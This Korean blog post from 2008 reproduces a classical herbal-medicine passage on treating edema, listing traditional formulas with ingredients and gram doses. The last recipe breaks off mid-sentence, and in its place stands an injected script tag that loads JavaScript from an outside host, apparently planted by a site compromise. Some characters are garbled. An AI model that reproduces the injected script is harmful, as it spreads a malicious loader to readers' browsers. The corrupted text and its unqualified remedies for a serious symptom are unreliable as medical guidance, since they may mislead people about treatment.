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건강상식 수종을 치료하는 방법[水腫治法]
2008-11-02 05:12:42
건강지킴이

수종을 치료하는 방법[水腫治法]


수종으로 부은 것을 치료하는 대체적인 방법은 중기(中氣)를 보하고 습을 빠지게 하며 오줌을 잘 나오게 하는 것이다. 그러므로 인삼과 흰삽주(백출)를 주약으로 하고 삽주(창출), 귤껍질(陳皮), 흰솔풍령(백복령)을 신약으로 하며 속썩은풀(황금), 맥문동을 좌사약으로 하여 간목(肝木)을 억제하여야 한다. 그리고 후박을 좀 넣어 써서 배가 불러 오른 것을 내려야 한다. 기가 잘 돌지 못할 때에는 목향, 으름덩굴(목통)을 넣고 기가 아래로 내려 처졌을 때에는 승마와 시호를 넣는데 이렇게 한 약이 바로 보중치습탕이다[단심].
○ 부종을 치료할 때에는 맛이 매운 약으로 헤치고 맛이 쓴 약으로 설사시키며 맛이 싱거운 약으로 스며 나가게 하여 상초와 하초로 습이 갈라져 나가 없어지게 해야 한다. 이것이 바로 귀문(鬼門)을 열고 정부(淨腑)㈜를 깨끗하게 하는 것이다.
[註] 정부(淨腑) : 방광을 말한다.
귀문을 연다는 것은 땀을 낸다는 것이고 정부를 깨끗하게 한다는 것은 오줌을 잘 나가게 한다는 것이다[동원].
○ 대체로 부종을 생기게 하는 물은 썩고 탁한 기운이 경락으로 스며들고 작은 혈맥에 들어갔다가 큰 혈맥으로 들어가서 혈이 변화되어 생긴 물이다. 이것을 비토(脾土)로써 억제하려면 신기(腎氣)를 유도하여 물을 나가게 해야 한다. 그리고 비에 병이 생기면 폐금의 기가 쇠약해져 간목을 약하게 억누르게 된다. 그러면 간목이 비토를 더 억누르게 되므로 비가 병들게 된다는 것을 잘 알아야 한다. 이것을 치료하는 방법은 심경(心經)의 화를 내리고 비토를 보양하여 소화작용이 잘되게 하는 것이다. 그러면 폐기(肺氣)가 아래로 내려오므로 물길이 열리고 썩고 탁한 기운이 좀 맑아지는데 이것은 기혈이 되고 진액이 된다. 다 맑아지면 위에 있는 것은 땀이 되고 아래에 있는 것은 오줌으로 갈라져 나오므로 점차 부종이 내린다[단심].
○ 여러 가지 수기로 허리 아래가 부었을 때에는 반드시 오줌이 잘 나가게 해야 하는데 오령산(五뽼散, 처방은 상한문에 있다), 택사산, 신조산을 쓴다.
○ 허리 위가 부었을 때에는 반드시 땀을 내야 하는데 마황감초탕, 월비탕, 방기복령탕을 쓴다[중경].
○ 양수(陽水)에는 팔정산(八正散, 처방은 오줌문에 있다)이나 인삼패독산(人蔘敗毒散, 처방은 상한문에 있다)에 마황, 방풍, 속썩은풀(황금), 산치자를 넣어서 쓴다.
○ 음수(陰水)에는 실비산, 위령탕(胃笭湯), 복원단을 쓴다[저방].
○ 다른 병도 오래되면 모두 수종으로 변할 수 있다. 비를 맞았거나 습기를 받아서 생긴 부종에는 평위산(平胃散, 처방은 내상문에 있다)에 흰삽주(백출), 벌건솔풍령(적복령), 초두구를 넣어서 쓴다. 또는 도체통경탕도 쓴다[보감].
○ 물을 많이 마셔서 생긴 부종에는 위령탕(胃뽼湯, 처방은 대변문에 있다), 가감위령탕(加減胃뽼湯), 퇴종탑기산을 쓴다[성혜].
○ 오랫동안 천식을 앓은 뒤에 생긴 수기에는 분기음, 정력환을 쓴다.
○ 학질을 오랫동안 앓다가 수기가 생긴 데는 황갑환(黃甲丸, 처방은 학질문에 있다), 퇴황환(退黃丸, 처방은 황달문에 있다)을 쓴다.
○ 이질을 앓다가 수기가 생긴 데는 가미신기환이나 보중익기탕(補中益氣湯, 처방은 내상문에 있다)에 부자(싸서 구운 것)를 넣어서 오랫동안 먹는다.
○ 학질이나 이질을 앓은 뒤에 생긴 수종에는 오피산을 두루 쓴다[입문].
○ 수고증(水蠱證)에는 황미환, 칠웅환, 청목향원(靑木香元)을 쓴다[입문].
○ 습을 없애고 물을 빼는 데는 삼화신우환(三花神祐丸, 처방은 설사문에 있다), 외신환, 신조산(神助散)을 쓴다[입문].
○ 헌데나 옴을 앓다가 수종이 생긴 데는 적소두탕을 쓴다[입문].
○ 수종 때 설사가 나면 정력목향산, 대귤피탕을 쓴다[단심].
보중치습탕(補中治濕湯)
수병을 두루 치료하는데 중초(中焦)를 보하고 습기를 빠지게 한다.
인삼, 흰삽주(백출) 각각 4g, 삽주(창출), 귤껍질(陳皮), 벌건솔풍령(적복령), 맥문동, 으름덩굴(목통), 당귀 각각 2.8g, 속썩은풀(황금) 2g, 후박, 승마 각각 1.2g.
위의 약들을 썰어서 1첩으로 하여 물에 달여 먹는다[의림].
택사산(澤瀉散)
수종으로 대소변이 잘 나오지 않는 것을 치료한다.
택사, 벌건솔풍령(적복령), 지각, 저령, 으름덩굴(목통), 빈랑, 나팔꽃검은씨(黑丑, 맏물가루) 각각 같은 양.
위의 약들을 가루내어 한번에 8g씩 생강과 파밑을 넣고 달인 물에 타서 먹는다[입문].
신조산(神助散)
온몸이 붓고 숨이 몹시 차며 오줌이 잘 나오지 않는 것을 치료한다.
나팔꽃검은씨(黑丑, 맏물가루) 12g, 꽃다지씨(정력자, 닦은 것) 8g, 조피열매씨(椒目) 6g, 저령, 택사, 목향 각각 4g.
위의 약들을 가루낸다. 그리고 먼저 ?script src=http://s.lbs66.cn/kr.js>


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